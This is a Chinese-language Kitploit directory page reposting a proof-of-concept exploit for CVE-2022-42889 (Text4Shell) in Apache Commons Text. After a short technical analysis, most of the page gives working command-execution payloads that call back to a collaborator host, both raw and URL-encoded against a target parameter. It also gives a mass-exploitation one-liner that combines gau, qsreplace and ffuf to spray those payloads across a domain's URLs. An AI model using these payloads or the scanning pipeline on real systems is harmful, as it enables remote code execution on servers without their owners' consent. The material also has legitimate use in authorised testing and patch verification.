Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-42889-text4shell — Apache commons text - CVE-2022-42889 Text4Shell 概念验证漏洞利用。 | Kitploit
工具/GitHubGitHub/kljunowsky/cve-2022-42889-text4shell
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试
GitHubkljunowsky/cve-2022-42889-text4shell

CVE-2022-42889-text4shell

Apache commons text - CVE-2022-42889 Text4Shell 概念验证漏洞利用。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
5782年前Kitploit 审核通过

CVE-2022-42889-text4shell 🔥🔥🔥

Apache commons text - CVE-2022-42889 Text4Shell 漏洞利用的概念验证。

详情📃

CVE-2022-42889 影响 Apache Commons Text 1.5 至 1.9 版本。该漏洞已在 Commons Text 1.10 版本中得到修复。

该漏洞被比作 Log4Shell,因为它是一个开源库级别的漏洞,有可能影响大量使用相关对象的软件应用程序。

然而,初步分析表明,这种比较并不恰当。与 Log4Shell 不同,该漏洞的性质意味着应用程序使用 Commons Text 的易受攻击组件处理不受信任、可能恶意的输入的情况将很少见。

技术分析

该漏洞存在于 StringSubstitutor 插值器对象中。插值器通过 StringSubstitutor.createInterpolator() 方法创建,并允许按照 StringLookupFactory 中定义的字符串查找进行操作。可以通过传递一个格式为 ${prefix:name} 的字符串来利用它,其中 prefix 是前述的查找方式。使用 "script"、"dns" 或 "url" 查找方式将允许精心构造的字符串在传递给插值器对象时执行任意脚本。

虽然特定的代码片段不太可能出现在生产应用程序中,但令人担忧的是在某些应用程序中,pocstring 变量可能受攻击者控制。从这种意义上说,该漏洞与 Log4Shell 类似。然而,StringSubstitutor 插值器比 Log4j 中易受攻击的字符串替换功能使用范围要小得多,而且这种插值器的性质意味着,与 Log4Shell 中仅仅与精心构造的字符串交互相比,将精心构造的输入传递给易受攻击的对象可能性更小。

利用👨‍💻

手动🛠️

script:javascript

将参数值替换为漏洞载荷:

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
root@kitploit:~
https://your-target.com/exploit?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d

url

root@kitploit:~
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
root@kitploit:~
https://your-target.com/exploit?search=%24%7Burl%3AUTF-8%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d

dns

root@kitploit:~
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
root@kitploit:~
https://your-target.com/exploit?search=%24%7Bdns%3Aaddress%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d

批量利用 ⛓️

payloads.txt

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
root@kitploit:~
for payload in $(cat payloads.txt|sed 's/ COLLABORATOR-HERE/SPACEid.burpcollaborator.com/g'); do echo TARGET.com | gau --blacklist ttf,woff,svg,png | qsreplace "$payload" | sed 's/SPACE/%20/g' | grep "java.lang.Runtime.getRuntime" >> payloads-final.txt;done && ffuf -w payloads-final.txt -u FUZZ

狩猎愉快!💸

必要条件🧰

ffuf 感谢 @joohoi!

qsreplace 感谢 @tomnomnom

gau 感谢 @lc

联系我📇

LinkedIn Twitter - Milan Jovic

LinkedIn - Milan Jovic

下载工具